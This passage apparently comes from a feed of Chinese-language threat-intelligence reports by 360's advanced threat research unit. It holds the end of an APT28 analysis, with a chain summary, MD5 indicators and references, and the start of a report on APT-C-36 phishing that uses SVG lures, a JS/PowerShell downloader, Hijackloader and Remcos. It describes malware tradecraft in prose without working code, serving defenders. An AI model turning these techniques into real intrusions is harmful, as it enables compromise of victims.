style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">中提到的PixyNetLoader加载方式一致。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.最终在内存中执行的载荷都属于Covenant Grunt类型，并与Filen API通信，这类攻击方式在之前报告</span><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[1]</span></sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">中也相同。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4.结合样本上传地址为东欧某国，并且伪装内容是东欧某国相关，符合攻击目标，因此将本次行动归属到APT-C-20(APT28)组织。</span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: rgb(242, 242, 242);line-height: 32px;height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;box-sizing: border-box;text-indent: 0px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击行动中</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-20</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织采用了一套高度工业化的攻击框架：该方案以加密宏文档为入口，通过COM劫持实现隐蔽持久化；核心机制利用合法进程explorer.exe触发恶意流程攻击链，并在内存中直接执行基于Filen.io云服务构建的C<a class="wx_topic_link" topic-id="mpb2a25f-zvnnfa" style="color: #576B95 !important;" data-topic="1" data-recommend="">#驻留木马</a>。这种从载荷释放到执行的攻击方式，极大地规避了传统安防监测，体现了其高精度的隐蔽渗透能力。</span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此外本文披露的样本只是该组织攻击过程中使用的部分载荷，通过对样本进行的深入分析，希望帮助用户了解此类攻击链条及防范手段。同时也提醒用户提高安全意识，在日常工作中谨慎处理未知压缩包、邮件附件和超链接，避免因轻信而在毫无防护的情况下遭受入侵，造成敏感信息和重要数据的泄露。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph"><p><span leaf=""><span textstyle="" style="font-size: 15px;font-weight: bold;">MD5:</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">77014b3e77529079f041b5b9e73a013b</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">b077401fe3d9642345d4c3deafa60aa5</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">1cbffddcb8e1e839737bbf6e50a80aaf</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">f10d1676b570aa4d97edb844fbb51287</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">c517d1f4385e0d6e8fa5932d17873eb8</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 15px;">d416eca59188474efa3408827578588b</span></span></p></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">参考链接</span></span></strong></span></p></div></div><div data-role="paragraph"><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[1]<a href="https://blog.sekoia.io/apt28-operation-phantom-net-voxel/" target="_blank">https://blog.sekoia.io/apt28-operation-phantom-net-voxel/</a></span></span></p></div></div><p style="margin-top: 8px;margin-bottom: 8px;text-align: justify;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-left: 21pt;text-indent: -21pt;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[2]</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://www.zscaler.com/blogs/security-research/apt28-leverages-cve-2026-21509-operation-neusploit" target="_blank">https://www.zscaler.com/blogs/security-research/apt28-leverages-cve-2026-21509-operation-neusploit</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 01 Jul 2026 17:30:00 +0800</pubDate>
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      <title>APT-C-36近期针对哥伦比亚境内的活动分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508673&amp;idx=1&amp;sn=daeb4f0be09db6a3012e51ac7e7be079</link>
      <description>360高级威胁研究院监测到盲眼鹰组织发起新一轮网络攻击。攻击者新增JavaScript、PowerShell编写的下载器，沿用Hijackloader加载恶意载荷，最终落地Remcos远控木马控制受害设备。同时，本轮捕获的恶意代码存在显著的AI生成特征。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-06-25 17:35</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3febf185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXIH60kIAKZtWEdWLEWMCAicyGYOTfz91RfaWHpL8iaiaQJK9Uuk8lSf1dBgSjlPx575CPfiah3P5ziafL9hCyOIAsoJTXhyfrOrYr68%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>360高级威胁研究院监测到盲眼鹰组织发起新一轮网络攻击。攻击者新增JavaScript、PowerShell编写的下载器，沿用Hijackloader加载恶意载荷，最终落地Remcos远控木马控制受害设备。同时，本轮捕获的恶意代码存在显著的AI生成特征。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-36</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">盲眼鹰</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-36（盲眼鹰）是一个疑似来自南美洲的APT组织，主要目标位于哥伦比亚境内和南美洲的一些国家和地区，如厄瓜多尔、智利和巴拿马等。该组织自2018年被发现以来，针对以上目标地区的政府部门、金融、保险等行业的大型公司持续发起定向攻击。</span></p></div></div></div></div></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近期360高级威胁研究院监测发现，盲眼鹰组织在2026年4月份实施了新一轮攻击活动，在本轮活动中，攻击者在攻击过程中增加了使用JavaScript和Powershell编写的下载器，并延续了使用Hijackloader来加载恶意载荷的行为习惯，最终加载Remcos远控木马，实现对受害者计算机的控制。另外，该组织的代码中存在着明显的人工智能生成痕迹。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、攻击流程分析</span></span></strong></p></div></div></div></div></div></div></div><p><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.5475113122171946" style="width:553.739990234375px;height:303.20001220703125px;" data-w="884" src="https://wechat2rss.xlab.app/img-proxy/?k=5dd7bd5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJI5wgBCDxhBLgv1ibBrQ2a5w0GS4oT5AeXTM3qPlF9oyyuz9ompIAbdL2VzPk7jP1VzKnH6JE2V3ezQ83Y23eHFt0icf7AT0sjs%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图1 基本攻击流程</span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如图1所示，攻击者将下载器隐藏在诱饵文件中，受害者点击执行后将下载并释放出加载器，加载器通过“白加黑”的方式运行后，将最终的恶意载荷注入合法程序中并在内存中运行，实现对受害者计算机的远程控制。</span></p><p style="text-align: justify;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.载荷投递</span></span></p><h3><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mpavbo3eylq" data-mpa-action-id="mpavbo3m1p8p" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">1.1 钓鱼过程</span></span></h3><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;"><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击活动中使用的初始钓鱼诱饵仍然是通过邮件投递的SVG文件，但钓鱼过程呈现出与以往行为的差异：</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;"><span style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（1）本次活动改变了以往将直接将后续载荷下载链接嵌入SVG文件的行为，而是将一个下载器加密存储在SVG中，受害者点击下载按钮后，内嵌的Javascript脚本解密再释放出下载器，而无须连接互联网进行下载。从图2中可以看出，这段内嵌的Javascript脚本的注释内容具有明显的人工智能生成特征。</span></span></p><p style="text-indent: 0px;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7972789115646258" style="width: 553.74px;height: 441.47px;" data-w="735" src="https://wechat2rss.xlab.app/img-proxy/?k=a7d35897&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJQPBSehiaCxaw1j1avIZWOdYjlFiasJ6nH8sjbZElxicb1eKxSBPJ79stYvicWGvpibmhTFNU8CqHw8TwshKyY9zqpHiaDuQYspXN2s%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图2 SVG文件中内嵌的JS脚本</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;"><span leaf="" style="text-align: justify;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（2）钓鱼内容的主题与以往相比有所变化。SVG文件名包括“solicitud de cartera efectuada_indetectable”（已完成申请）等，SVG展示内容使用了银行宣传广告的伪造页面，说明该组织的目标群体有所改变。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;"><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7298578199052133" style="width: 553.74px;height: 404.14px;" data-w="1055" src="https://wechat2rss.xlab.app/img-proxy/?k=69892064&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI8ib2vE2Cjct9AEwEgN2InWn31LM1sUicapSpO0nNYk4KRk9waBSO1FfKBB7fHjztwRtQG3HCBm6HOA5pkQS6LJicYuQgLzibQibps%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">图3 钓鱼内容</span></p><h3 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">1.2 载荷下载过程</span></span></h3><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">受害者双击该JS脚本后，Windows系统默认使用WScript.exe执行该脚本。攻击者将这段JS代码进行了一定程度的混淆，并将一段Powershell脚本通过16进制字符串、替换编码等方法进行变换和隐藏在其中。我们删掉其垃圾代码、去混淆和整理后，可以看出这个JS脚本的功能可分为如下三部分：</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">（1）将当前运行的 JS 脚本复制到 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">C:\Users\Public\EKMYAKrCRJ.js</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">目录，为后续的持久化驻留作准备。</span></p><p style="text-align: center;"><span style="font-family: 仿宋;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.27860026917900405" style="width: 553.54px;height: 154.2px;" data-w="1486" src="https://wechat2rss.xlab.app/img-proxy/?k=55e7602b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXImbOhN1mlD9YUxiaUv38xibHjMWibrT6lic18FaLBibwsd3gW5sOBMoWuIAHzX8e9WjmcpfNfEtuMmOMDUhKWyW86ibyWOhicLaXniaV8%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 